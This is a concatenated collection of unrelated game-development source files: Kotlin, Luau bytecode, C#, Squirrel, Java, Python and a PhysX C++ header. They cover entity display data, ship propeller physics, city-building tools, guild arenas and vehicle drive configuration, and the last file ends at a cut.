extensions/EntityExtension/src/main/kotlin/com/typewritermc/entity/entries/data/minecraft/display/text/TextShadowData.kt
package com.typewritermc.entity.entries.data.minecraft.display.text import com.typewritermc.core.books.pages.Colors import com.typewritermc.core.extension.annotations.Entry import com.typewritermc.core.extension.annotations.Tags import com.typewritermc.engine.paper.entry.entity.SinglePropertyCollectorSupplier import com.typewritermc.engine.paper.entry.entries.EntityProperty import com.typewritermc.engine.paper.extensions.packetevents.metas import me.tofaa.entitylib.meta.display.TextDisplayMeta import me.tofaa.entitylib.wrapper.WrapperEntity import org.bukkit.entity.Player import java.util.* import kotlin.reflect.KClass @Entry("text_shadow_data", "If text in TextDisplay has shadow.", Colors.RED, "mdi:box-shadow") @Tags("text_shadow_data") class TextShadowData( override val id: String = "", override val name: String = "", val shadow: Boolean = false, override val priorityOverride: Optional<Int> = Optional.empty(), ) : TextDisplayEntityData<ShadowProperty> { override fun type(): KClass<ShadowProperty> = ShadowProperty::class override fun build(player: Player): ShadowProperty = ShadowProperty(shadow) } data class ShadowProperty(val shadow: Boolean) : EntityProperty { companion object : SinglePropertyCollectorSupplier<ShadowProperty>( ShadowProperty::class, ShadowProperty(false) ) } fun applyShadowData( entity: WrapperEntity, property: ShadowProperty ) { entity.metas { meta<TextDisplayMeta> { isShadow = property.shadow } error("Could not apply ShadowData to ${entity.entityType} entity.") } }
0
0.722574
1
0.722574
game-dev
MEDIA
0.753404
game-dev
0.773097
1
0.773097
MaximumADHD/Roblox-Client-Tracker
1,698
BuiltInPlugins/DeveloperInspector/Src/Util/getInspectorIcon.luac.s
PROTO_0: GETIMPORT R1 K1 [game] LOADK R3 K2 ["StudioService"] NAMECALL R1 R1 K3 ["GetService"] CALL R1 2 1 MOVE R4 R0 NAMECALL R2 R1 K4 ["GetClassIcon"] CALL R2 2 -1 RETURN R2 -1 PROTO_1: GETUPVAL R0 0 GETUPVAL R1 1 CALL R0 1 -1 RETURN R0 -1 PROTO_2: GETUPVAL R2 0 GETTABLE R1 R2 R0 JUMPIFNOT R1 [+22] DUPTABLE R1 K3 [{"Image", "ImageRectSize", "ImageRectOffset"}] LOADK R3 K4 ["rbxassetid://"] GETUPVAL R5 0 GETTABLE R4 R5 R0 CONCAT R2 R3 R4 SETTABLEKS R2 R1 K0 ["Image"] GETIMPORT R2 K7 [Vector2.new] LOADN R3 24 LOADN R4 24 CALL R2 2 1 SETTABLEKS R2 R1 K1 ["ImageRectSize"] GETIMPORT R2 K7 [Vector2.new] LOADN R3 0 LOADN R4 0 CALL R2 2 1 SETTABLEKS R2 R1 K2 ["ImageRectOffset"] RETURN R1 1 GETIMPORT R1 K9 [pcall] NEWCLOSURE R2 P0 CAPTURE UPVAL U1 CAPTURE VAL R0 CALL R1 1 2 JUMPIFNOT R1 [+1] RETURN R2 1 GETUPVAL R3 1 LOADK R4 K10 ["Folder"] CALL R3 1 -1 RETURN R3 -1 MAIN: PREPVARARGS 0 DUPTABLE R0 K8 [{"Branch", "Consumer", "Fragment", "Functional", "Portal", "Provider", "Pure", "Stateful"}] LOADK R1 K9 [5923556358] SETTABLEKS R1 R0 K0 ["Branch"] LOADK R1 K10 [5923556689] SETTABLEKS R1 R0 K1 ["Consumer"] LOADK R1 K11 [5923557006] SETTABLEKS R1 R0 K2 ["Fragment"] LOADK R1 K12 [5923557211] SETTABLEKS R1 R0 K3 ["Functional"] LOADK R1 K13 [5923557429] SETTABLEKS R1 R0 K4 ["Portal"] LOADK R1 K14 [5923557657] SETTABLEKS R1 R0 K5 ["Provider"] LOADK R1 K15 [5923557814] SETTABLEKS R1 R0 K6 ["Pure"] LOADK R1 K16 [5923557987] SETTABLEKS R1 R0 K7 ["Stateful"] DUPCLOSURE R1 K17 [PROTO_0] DUPCLOSURE R2 K18 [PROTO_2] CAPTURE VAL R0 CAPTURE VAL R1 RETURN R2 1
0
0.520312
1
0.520312
game-dev
MEDIA
0.594671
game-dev
0.723111
1
0.723111
pathea-games/planetexplorers
6,294
Assets/Scripts/ZhouXun/Voxel Creation/Scripts/WhiteCat/PE-VC/VCPart/VCPShipPropeller.cs
using UnityEngine; namespace WhiteCat { public class VCPShipPropeller : VCPart { [SerializeField] float _forceFactor = 200000; [SerializeField] float _maxRotateSpeed = 1801; [SerializeField] float _accelerate = 900; [SerializeField] Transform _rotatePivot; [SerializeField] Transform _forcePivot; BoatController _controller; Direction _forceDirection; Vector3 _forceApplyPoint; Vector3 _localAngularDirection; float _maxForce; bool _rotateRight; bool _rotateLeft; //bool _isFront; float _currentRotateSpeed = 0; float _currentZAngle = 0; public void Init(BoatController controller, bool isSubmarine) { _controller = controller; _forceDirection = GetDirection(transform.localRotation * Vector3.forward); _maxForce = (transform.localScale.x + transform.localScale.y) * 0.5f * _forceFactor; // 计算相对质心的位置 Vector3 relativePosition = _controller.transform.InverseTransformPoint(_forcePivot.position) - controller.rigidbody.centerOfMass; // 前后位置 //_isFront = relativePosition.z > 0; // 计算旋转偏向 _localAngularDirection = Vector3.right; Vector3 relativeXZ = relativePosition; relativeXZ.y = 0; if (relativeXZ.sqrMagnitude > 0.25f) { _localAngularDirection = Vector3.Cross(Vector3.up, relativeXZ).normalized; } _localAngularDirection = Quaternion.Inverse(transform.localRotation) * _localAngularDirection; float cos = Vector3.Dot(Vector3.forward, _localAngularDirection); // 计算力应用位置和旋转方向 if (_forceDirection == Direction.Up || _forceDirection == Direction.Down) { float adjustedZ = Mathf.Sign(relativePosition.z) * Mathf.Log(Mathf.Abs(relativePosition.z) + 1f); adjustedZ = adjustedZ * PEVCConfig.instance.rotorBalanceAdjust + relativePosition.z * (1f - PEVCConfig.instance.rotorBalanceAdjust); adjustedZ *= PEVCConfig.instance.rotorBalaceScale.Evaluate(Mathf.Abs(adjustedZ)); Vector3 _forceApplyPoint = controller.rigidbody.centerOfMass; _forceApplyPoint.x += relativePosition.x; _forceApplyPoint.y += relativePosition.y; _forceApplyPoint.z += adjustedZ; _forcePivot.position = _controller.transform.TransformPoint(_forceApplyPoint); } else if (_forceDirection == Direction.Forward || _forceDirection == Direction.Back) { _rotateRight = cos > 0.5f; _rotateLeft = cos < -0.5f; Vector3 prjectCenter = Vector3.ProjectOnPlane(controller.rigidbody.worldCenterOfMass, Vector3.Cross(Vector3.up, transform.forward)); Vector3 newPivot, whatever; Utility.ClosestPoint( _forcePivot.position + new Vector3(0, 20, 0), _forcePivot.position + new Vector3(0, -20, 0), prjectCenter + transform.forward * 20, prjectCenter - transform.forward * 20, out newPivot, out whatever); _forcePivot.position = (newPivot + _forcePivot.position) * 0.5f; } else { _rotateRight = cos > 0; _rotateLeft = cos < 0; Vector3 _forceApplyPoint = controller.rigidbody.centerOfMass; _forceApplyPoint.x += relativePosition.x; _forceApplyPoint.z += relativePosition.z; _forcePivot.position = _controller.transform.TransformPoint(_forceApplyPoint); } enabled = isSubmarine ? true : (_forceDirection != Direction.Up && _forceDirection != Direction.Down); } void OnDrawGizmosSelected() { Gizmos.color = Color.yellow; Gizmos.DrawSphere(_forcePivot.position, 0.2f); Gizmos.DrawRay(transform.position, transform.TransformDirection(_localAngularDirection)); } void FixedUpdate() { float targetRotateSpeed = 0; float forceScale = 0; if (_controller.isEnergyEnough(0.01f) && _controller.hasDriver) { switch (_forceDirection) { case Direction.Up: case Direction.Down: { targetRotateSpeed = _forceDirection == Direction.Up ? _maxRotateSpeed : -_maxRotateSpeed; targetRotateSpeed *= _controller.inputVertical; forceScale = 1f; break; } case Direction.Left: case Direction.Right: { if (Mathf.Abs(_controller.inputX) > 0.01f) { if (_rotateRight) { targetRotateSpeed = _controller.inputX > 0 ? _maxRotateSpeed : -_maxRotateSpeed; } if (_rotateLeft) { targetRotateSpeed = _controller.inputX > 0 ? -_maxRotateSpeed : _maxRotateSpeed; } } forceScale = 1f; break; } case Direction.Forward: case Direction.Back: { forceScale = Mathf.Clamp(Vector3.Dot(_controller.rigidbody.velocity, _currentRotateSpeed > 0 ? transform.forward : -transform.forward), 0f, 20f); forceScale = 1f - 0.0025f * forceScale * forceScale; if (Mathf.Abs(_controller.inputX) > 0.01f) { if (_rotateRight) { targetRotateSpeed = _controller.inputX > 0 ? _maxRotateSpeed : -_maxRotateSpeed; break; } if (_rotateLeft) { targetRotateSpeed = _controller.inputX > 0 ? -_maxRotateSpeed : _maxRotateSpeed; break; } } if (_forceDirection == Direction.Forward) { targetRotateSpeed = _controller.inputY * _maxRotateSpeed; } else { targetRotateSpeed = - _controller.inputY * _maxRotateSpeed; } break; } } } // 更新 Y 转速 if (targetRotateSpeed > _currentRotateSpeed) { _currentRotateSpeed = Mathf.Min(targetRotateSpeed, _currentRotateSpeed + _accelerate * Time.deltaTime); } else { _currentRotateSpeed = Mathf.Max(targetRotateSpeed, _currentRotateSpeed - _accelerate * Time.deltaTime); } // 更新旋转角 _currentZAngle = (_currentZAngle + _currentRotateSpeed * Time.deltaTime) % 360; _rotatePivot.localEulerAngles = new Vector3(0, 0, _currentZAngle); // 应用力 if (forceScale > 0) { float force = _currentRotateSpeed / _maxRotateSpeed * _maxForce * forceScale; if (VFVoxelWater.self.IsInWater(transform.position)) { // 应用力 _controller.rigidbody.AddForceAtPosition(transform.forward * force * _controller.speedScale, _forcePivot.position); } // 消耗能量 if (_controller.isPlayerHost) { _controller.ExpendEnergy(force * Time.deltaTime * PEVCConfig.instance.boatPropellerEnergySpeed); } } } } }
0
0.978956
1
0.978956
game-dev
MEDIA
0.939889
game-dev
0.994067
1
0.994067
aburch/simutrans
1,885
simutrans/script/hm_lib/hm_city_tl.nut
include("hm_lib/hm_global") class hm_city_tl extends hm_base_tl { population = 0 desc_name = 0 pos = null rotation = 0 constructor(pop, dn, p, r) { population = pop desc_name = dn pos = coord3d(p[0],p[1],0) rotation = r hm_commands.append(this) } function exec(player, origin) { local tp = origin + pos local tile = square_x(tp.x,tp.y).get_ground_tile() if(tile) { return command_x(tool_add_city).work(player, tile, format("%d,%s,%d", population, desc_name, rotation)) } return "No suitable ground!" } } class hm_city_set_population_tl extends hm_base_tl { pos = null population = 0 constructor(pop, p) { pos = coord(p[0],p[1]) population = pop hm_commands.append(this) } function exec(player, origin) { local tp = origin+pos local tile = square_x(tp.x,tp.y).get_ground_tile() if(tile) { return command_x(tool_change_city_size).work(player, tile, format("%d", population)) } return "No suitable ground!" } } class hm_set_owner_tl extends hm_base_tl { pos = null ownerid = 0 has_z = false constructor(o, p) { pos = coord3d(p[0],p[1],0) if(p.len()>2) { pos.z = p[2] has_z = true } ownerid = o hm_commands.append(this) } function exec(player, origin) { local tp = origin+pos local tile = square_x(tp.x, tp.y).get_tile_at_height(tp.z) if(tile == null && !has_z) { tile = square_x(tp.x, tp.y).get_ground_tile() } if(tile) { local pl = player_x(ownerid) return command_x(tool_set_owner).work(player, tile, format("%d,0",ownerid)) // foreach(obj in tile.get_objects()) { // // owner to0l // } } if(tile.has_ways() && ownerid == 15) { // no way to convert to pavement roads right now } return null } }
0
0.780082
1
0.780082
game-dev
MEDIA
0.889772
game-dev
0.777594
1
0.777594
Mekire/cabbages-and-kings
1,348
data/states/viewcontrols.py
import pygame as pg from .. import prepare, tools, state_machine FONT_BIG = pg.font.Font(prepare.FONTS["Fixedsys500c"], 60) class ViewControls(state_machine._State): """This State is updated while our game shows the player select screen.""" def __init__(self): state_machine._State.__init__(self) self.next = "SELECT" self.timer = tools.Timer(300) self.blink = False msg_center = (prepare.SCREEN_RECT.centerx, 630) self.ne_key = self.render_font(FONT_BIG, "Press Any Key", pg.Color("white"), msg_center) def render_font(self, font, msg, color, center): """Return the rendered font surface and its rect centered on center.""" msg = font.render(msg, 0, color) rect = msg.get_rect(center=center) return msg, rect def get_event(self, event): """Return to menu on any key press.""" self.done = event.type == pg.KEYDOWN def update(self, keys, now): """Update blink timer and draw screen.""" if self.timer.check_tick(now): self.blink = not self.blink def draw(self, surface, interpolate): surface.fill(prepare.BACKGROUND_COLOR) surface.blit(prepare.GFX["misc"]["keyboard"], (0,0)) if self.blink: surface.blit(*self.ne_key)
0
0.741719
1
0.741719
game-dev
MEDIA
0.901354
game-dev
0.953235
1
0.953235
NeilSenEasow/CubeGame-Alpha
1,912
Horizon Havoc/PlayerMovement.cs
using System.Collections; using System.Collections.Generic; using UnityEngine; public class PlayerMovement : MonoBehaviour { public CharacterController characterController; public float speed = 12f; public float gravity = 9.81f; public float jumpHeight = 3f; public Transform groundCheck; public float groundDistance = 0.4f; public LayerMask groundMask; Vector3 velocity; bool isGrounded; bool isMoving; private Vector3 lastPosition = new Vector3(0f, 0f, 0f); // Start is called before the first frame update void Start() { characterController = GetComponent<CharacterController>(); } // Update is called once per frame void Update() { //Ground Check isGrounded = Physics.CheckSphere(groundCheck.position, groundDistance, groundMask); if (isGrounded && velocity.y < 0) { velocity.y = -2f; } //Getting inputs float x = Input.GetAxis("Horizontal"); float y = Input.GetAxis("Vertical"); //Creating moving vector Vector3 move = transform.right * x + transform.forward * y; //Moving the player characterController.Move(move * speed * Time.deltaTime); //Checking if player can jump if(Input.GetKey(KeyCode.Space) && isGrounded ) //changed GetKeyDown to GetKey(KeyCode.Space) { velocity.y += Mathf.Sqrt(jumpHeight * 2f * gravity); //changed -2f to 2f } //Falling down velocity.y -= gravity * Time.deltaTime; //Excuting the jump characterController.Move(velocity * Time.deltaTime); if(lastPosition != gameObject.transform.position && isGrounded == true) { isMoving = true; } else { isMoving = false; } lastPosition = gameObject.transform.position; } }
0
0.692841
1
0.692841
game-dev
MEDIA
0.993586
game-dev
0.905375
1
0.905375
guilds-plugin/Guilds
2,872
src/main/kotlin/me/glaremasters/guilds/challenges/adapters/WarArenaChallengeAdapter.kt
/* * MIT License * * Copyright (c) 2023 Glare * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package me.glaremasters.guilds.challenges.adapters import com.google.gson.TypeAdapter import com.google.gson.stream.JsonReader import com.google.gson.stream.JsonWriter import me.glaremasters.guilds.arena.Arena import java.util.* /** * TypeAdapter for [Arena] objects, using Google's GSON library. This adapter is used for serializing and * deserializing Arena objects to/from JSON. */ class WarArenaChallengeAdapter : TypeAdapter<Arena>() { /** * Writes an [Arena] object to the [JsonWriter]. * * @param out the [JsonWriter] to write to. * @param arena the [Arena] object to write. */ override fun write(out: JsonWriter, arena: Arena) { out.beginObject() out.name("uuid") out.value(arena.id.toString()) out.name("name") out.value(arena.name) out.endObject() } /** * Reads an [Arena] object from the [JsonReader]. * * @param reader the [JsonReader] to read from. * @return the [Arena] object read from the [JsonReader]. */ override fun read(reader: JsonReader): Arena { var arenaName: String? = null var arenaId: String? = null reader.beginObject() while (reader.hasNext()) { when (reader.nextName()) { "uuid" -> { arenaId = reader.nextString() } "name" -> { arenaName = reader.nextString() } else -> { reader.skipValue() } } } reader.endObject() if (arenaName == null) { arenaName = "Default" } return Arena(UUID.fromString(arenaId), arenaName) } }
0
0.684
1
0.684
game-dev
MEDIA
0.676524
game-dev
0.779376
1
0.779376
D363N6UY/MapleStory-v113-Server-Eimulator
1,604
Libs/scripts/event/Ravana_HARD.js
function init() { em.setProperty("state", "0"); } function setup(eim, leaderid) { em.setProperty("state", "1"); var eim = em.newInstance("Ravana_HARD" + leaderid); var map = eim.setInstanceMap(950101010); map.resetFully(); var mob = em.getMonster(9500392); eim.registerMonster(mob); map.spawnMonsterOnGroundBelow(mob, new java.awt.Point(1000, 513)); eim.startEventTimer(3600000); // 1 hr return eim; } function playerEntry(eim, player) { var map = eim.getMapInstance(0); player.changeMap(map, map.getPortal(0)); if (player.haveItem(4001433, 30)) { player.removeItem(4001433, -30); } else { player.removeAll(4001433); } } function playerRevive(eim, player) { return false; } function scheduledTimeout(eim) { end(eim); } function changedMap(eim, player, mapid) { if (mapid != 950101010) { eim.unregisterPlayer(player); if (eim.disposeIfPlayerBelow(0, 0)) { em.setProperty("state", "0"); } } } function playerDisconnected(eim, player) { return 0; } function monsterValue(eim, mobId) { return 1; } function playerExit(eim, player) { eim.unregisterPlayer(player); if (eim.disposeIfPlayerBelow(0, 0)) { em.setProperty("state", "0"); } } function end(eim) { eim.disposeIfPlayerBelow(100, 950101100); em.setProperty("state", "0"); } function clearPQ(eim) { end(eim); } function allMonstersDead(eim) { //after ravana is dead nothing special should really happen } function leftParty (eim, player) {} function disbandParty (eim) {} function playerDead(eim, player) {} function cancelSchedule() {}
0
0.776927
1
0.776927
game-dev
MEDIA
0.940861
game-dev
0.980793
1
0.980793
miguel12345/UnityGradientBackground
2,107
Assets/Standard Assets/CrossPlatformInput/Scripts/MobileControlRig.cs
using System; #if UNITY_EDITOR using UnityEditor; #endif using UnityEngine; namespace UnityStandardAssets.CrossPlatformInput { [ExecuteInEditMode] public class MobileControlRig : MonoBehaviour { // this script enables or disables the child objects of a control rig // depending on whether the USE_MOBILE_INPUT define is declared. // This define is set or unset by a menu item that is included with // the Cross Platform Input package. #if !UNITY_EDITOR void OnEnable() { CheckEnableControlRig(); } #endif private void Start() { #if UNITY_EDITOR if (Application.isPlaying) //if in the editor, need to check if we are playing, as start is also called just after exiting play #endif { UnityEngine.EventSystems.EventSystem system = GameObject.FindObjectOfType<UnityEngine.EventSystems.EventSystem>(); if (system == null) {//the scene have no event system, spawn one GameObject o = new GameObject("EventSystem"); o.AddComponent<UnityEngine.EventSystems.EventSystem>(); o.AddComponent<UnityEngine.EventSystems.StandaloneInputModule>(); } } } #if UNITY_EDITOR private void OnEnable() { EditorApplication.update += Update; EditorUserBuildSettings.activeBuildTargetChanged += Update; } private void OnDisable() { EditorApplication.update -= Update; EditorUserBuildSettings.activeBuildTargetChanged -= Update; } private void Update() { CheckEnableControlRig(); } #endif private void CheckEnableControlRig() { #if MOBILE_INPUT EnableControlRig(true); #else EnableControlRig(false); #endif } private void EnableControlRig(bool enabled) { foreach (Transform t in transform) { t.gameObject.SetActive(enabled); } } } }
0
0.814751
1
0.814751
game-dev
MEDIA
0.962512
game-dev
0.809617
1
0.809617
HbmMods/Hbm-s-Nuclear-Tech-GIT
2,487
src/main/java/com/hbm/inventory/SlotSmelting.java
package com.hbm.inventory; import cpw.mods.fml.common.FMLCommonHandler; import net.minecraft.entity.item.EntityXPOrb; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.init.Items; import net.minecraft.inventory.IInventory; import net.minecraft.inventory.Slot; import net.minecraft.item.ItemStack; import net.minecraft.item.crafting.FurnaceRecipes; import net.minecraft.stats.AchievementList; import net.minecraft.util.MathHelper; public class SlotSmelting extends Slot { private EntityPlayer thePlayer; private int itemCountBuffer; public SlotSmelting(EntityPlayer player, IInventory inv, int id, int x, int y) { super(inv, id, x, y); this.thePlayer = player; } public boolean isItemValid(ItemStack stack) { return false; } public ItemStack decrStackSize(int amount) { if(this.getHasStack()) { this.itemCountBuffer += Math.min(amount, this.getStack().stackSize); } return super.decrStackSize(amount); } public void onPickupFromSlot(EntityPlayer player, ItemStack stack) { this.onCrafting(stack); super.onPickupFromSlot(player, stack); } protected void onCrafting(ItemStack stack, int amount) { this.itemCountBuffer += amount; this.onCrafting(stack); } protected void onCrafting(ItemStack stack) { stack.onCrafting(this.thePlayer.worldObj, this.thePlayer, this.itemCountBuffer); if(!this.thePlayer.worldObj.isRemote) { int buffer = this.itemCountBuffer; float exp = FurnaceRecipes.smelting().func_151398_b(stack); int remainingExp; if(exp == 0.0F) { buffer = 0; } else if(exp < 1.0F) { remainingExp = MathHelper.floor_float((float) buffer * exp); if(remainingExp < MathHelper.ceiling_float_int((float) buffer * exp) && (float) Math.random() < (float) buffer * exp - (float) remainingExp) { ++remainingExp; } buffer = remainingExp; } while(buffer > 0) { remainingExp = EntityXPOrb.getXPSplit(buffer); buffer -= remainingExp; this.thePlayer.worldObj.spawnEntityInWorld(new EntityXPOrb(this.thePlayer.worldObj, this.thePlayer.posX, this.thePlayer.posY + 0.5D, this.thePlayer.posZ + 0.5D, remainingExp)); } } this.itemCountBuffer = 0; FMLCommonHandler.instance().firePlayerSmeltedEvent(thePlayer, stack); if(stack.getItem() == Items.iron_ingot) { this.thePlayer.addStat(AchievementList.acquireIron, 1); } if(stack.getItem() == Items.cooked_fished) { this.thePlayer.addStat(AchievementList.cookFish, 1); } } }
0
0.842932
1
0.842932
game-dev
MEDIA
0.996489
game-dev
0.970308
1
0.970308
lgsvl/simulator
1,446
Assets/Scripts/Api/Commands/VehicleFollowClosestLane.cs
/** * Copyright (c) 2019 LG Electronics, Inc. * * This software contains code licensed as described in LICENSE. * */ using SimpleJSON; using UnityEngine; namespace Simulator.Api.Commands { class VehicleFollowClosestLane : ICommand { public string Name => "vehicle/follow_closest_lane"; public void Execute(JSONNode args) { var uid = args["uid"].Value; var follow = args["follow"].AsBool; var maxSpeed = args["max_speed"].AsFloat; var isLaneChange = args["isLaneChange"].AsBool; var api = ApiManager.Instance; if (api.Agents.TryGetValue(uid, out GameObject obj)) { var npc = obj.GetComponent<NPCController>(); if (npc == null) { api.SendError(this, $"Agent '{uid}' is not a NPC agent"); return; } if (follow) { var laneFollow = npc.SetBehaviour<NPCLaneFollowBehaviour>(); laneFollow.SetFollowClosestLane(maxSpeed, isLaneChange); } else { npc.SetBehaviour<NPCManualBehaviour>(); } api.SendResult(this); } else { api.SendError(this, $"Agent '{uid}' not found"); } } } }
0
0.702532
1
0.702532
game-dev
MEDIA
0.75013
game-dev
0.706706
1
0.706706
nem0/LumixEngine
15,877
external/physx/include/vehicle/PxVehicleDrive.h
// // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ''AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Copyright (c) 2008-2021 NVIDIA Corporation. All rights reserved. // Copyright (c) 2004-2008 AGEIA Technologies, Inc. All rights reserved. // Copyright (c) 2001-2004 NovodeX AG. All rights reserved. #ifndef PX_VEHICLE_DRIVE_H #define PX_VEHICLE_DRIVE_H /** \addtogroup vehicle @{ */ #include "vehicle/PxVehicleWheels.h" #include "vehicle/PxVehicleComponents.h" #if !PX_DOXYGEN namespace physx { #endif struct PxFilterData; class PxGeometry; class PxPhysics; class PxVehicleDrivableSurfaceToTireFrictionPairs; class PxShape; class PxMaterial; class PxRigidDynamic; /** \brief Data structure describing non-wheel configuration data of a vehicle that has engine, gears, clutch, and auto-box. @see PxVehicleWheelsSimData for wheels configuration data. */ class PxVehicleDriveSimData { //= ATTENTION! ===================================================================================== // Changing the data layout of this class breaks the binary serialization format. See comments for // PX_BINARY_SERIAL_VERSION. If a modification is required, please adjust the getBinaryMetaData // function. If the modification is made on a custom branch, please change PX_BINARY_SERIAL_VERSION // accordingly. //================================================================================================== public: friend class PxVehicleDriveTank; /** \brief Return the engine data */ PX_FORCE_INLINE const PxVehicleEngineData& getEngineData() const { return mEngine; } /** \brief Set the engine data \param[in] engine - the data stored in engine is copied to the vehicle's engine. */ void setEngineData(const PxVehicleEngineData& engine); /** \brief Return the gears data */ PX_FORCE_INLINE const PxVehicleGearsData& getGearsData() const { return mGears; } /** \brief Set the gears data \param[in] gears - the data stored in gears is copied to the vehicle's gears. */ void setGearsData(const PxVehicleGearsData& gears); /** \brief Return the clutch data */ PX_FORCE_INLINE const PxVehicleClutchData& getClutchData() const { return mClutch; } /** \brief Set the clutch data \param[in] clutch - the data stored in clutch is copied to the vehicle's clutch. */ void setClutchData(const PxVehicleClutchData& clutch); /** \brief Return the autobox data */ PX_FORCE_INLINE const PxVehicleAutoBoxData& getAutoBoxData() const { return mAutoBox; } /** \brief Set the autobox data \param[in] autobox - the data stored in autobox is copied to the vehicle's autobox. */ void setAutoBoxData(const PxVehicleAutoBoxData& autobox); protected: /* \brief Engine simulation data @see setEngineData, getEngineData */ PxVehicleEngineData mEngine; /* \brief Gear simulation data @see setGearsData, getGearsData */ PxVehicleGearsData mGears; /* \brief Clutch simulation data @see setClutchData, getClutchData */ PxVehicleClutchData mClutch; /* \brief Autobox simulation data @see setAutoboxData, getAutoboxData */ PxVehicleAutoBoxData mAutoBox; /** \brief Test that a PxVehicleDriveSimData instance has been configured with legal data. Call only after setting all components with setEngineData,setGearsData,setClutchData,setAutoBoxData @see PxVehicleDrive4W::setup, PxVehicleDriveTank::setup */ bool isValid() const; //serialization public: PxVehicleDriveSimData() {} PxVehicleDriveSimData(const PxEMPTY) : mEngine(PxEmpty), mGears(PxEmpty), mClutch(PxEmpty), mAutoBox(PxEmpty) {} static void getBinaryMetaData(PxOutputStream& stream); //~serialization }; PX_COMPILE_TIME_ASSERT(0==(sizeof(PxVehicleDriveSimData) & 15)); /** \brief Data structure with instanced dynamics data for vehicle with engine, clutch, gears, autobox @see PxVehicleWheelsDynData for wheels dynamics data. */ class PxVehicleDriveDynData { public: enum { eMAX_NB_ANALOG_INPUTS=16 }; friend class PxVehicleDrive; /** \brief Set all dynamics data to zero to bring the vehicle to rest. */ void setToRestState(); /** \brief Set an analog control value to drive the vehicle. \param[in] type describes the type of analog control being modified \param[in] analogVal is the new value of the specific analog control. @see PxVehicleDrive4WControl, PxVehicleDriveNWControl, PxVehicleDriveTankControl */ void setAnalogInput(const PxU32 type, const PxReal analogVal); /** \brief Get the analog control value that has been applied to the vehicle. \return The value of the specified analog control value. @see PxVehicleDrive4WControl, PxVehicleDriveNWControl, PxVehicleDriveTankControl */ PxReal getAnalogInput(const PxU32 type) const; /** \brief Inform the vehicle that the gear-up button has been pressed. \param[in] digitalVal is the state of the gear-up button. \note If digitalVal is true the vehicle will attempt to initiate a gear change at the next call to PxVehicleUpdates. \note The value of mGearUpPressed is not reset by PxVehicleUpdates */ void setGearUp(const bool digitalVal) { mGearUpPressed = digitalVal; } /** \brief Set that the gear-down button has been pressed. \param[in] digitalVal is the state of the gear-down button. \note If digitalVal is true the vehicle will attempt to initiate a gear change at the next call to PxVehicleUpdates. \note The value of mGearDownPressed is not reset by PxVehicleUpdates */ void setGearDown(const bool digitalVal) { mGearDownPressed = digitalVal; } /** \brief Check if the gear-up button has been pressed \return The state of the gear-up button. */ bool getGearUp() const { return mGearUpPressed; } /** \brief Check if the gear-down button has been pressed \return The state of the gear-down button. */ bool getGearDown() const { return mGearDownPressed; } /** \brief Set the flag that will be used to select auto-gears If useAutoGears is true the auto-box will be active. \param[in] useAutoGears is the active state of the auto-box. */ PX_FORCE_INLINE void setUseAutoGears(const bool useAutoGears) { mUseAutoGears=useAutoGears; } /** \brief Get the flag status that is used to select auto-gears \return The active status of the auto-box. */ PX_FORCE_INLINE bool getUseAutoGears() const { return mUseAutoGears; } /** \brief Toggle the auto-gears flag If useAutoGears is true the auto-box will be active. */ PX_FORCE_INLINE void toggleAutoGears() { mUseAutoGears = !mUseAutoGears; } /** \brief Set the current gear. \param[in] currentGear is the vehicle's gear. \note If the target gear is different from the current gear the vehicle will attempt to start a gear change from the current gear that has just been set towards the target gear at the next call to PxVehicleUpdates. @see setTargetGear, PxVehicleGearsData */ PX_FORCE_INLINE void setCurrentGear(PxU32 currentGear) { mCurrentGear = currentGear; } /** \brief Get the current gear. \return The vehicle's current gear. @see getTargetGear, PxVehicleGearsData */ PX_FORCE_INLINE PxU32 getCurrentGear() const { return mCurrentGear; } /** \brief Set the target gear. \param[in] targetGear is the vehicle's target gear. \note If the target gear is different from the current gear the vehicle will attempt to start a gear change towards the target gear at the next call to PxVehicleUpdates. @see PxVehicleGearsData */ PX_FORCE_INLINE void setTargetGear(PxU32 targetGear) { mTargetGear = targetGear; } /** \brief Get the target gear. \return The vehicle's target gear. @see setTargetGear, PxVehicleGearsData */ PX_FORCE_INLINE PxU32 getTargetGear() const { return mTargetGear; } /** \brief Start a gear change to a target gear. \param[in] targetGear is the gear the vehicle will begin a transition 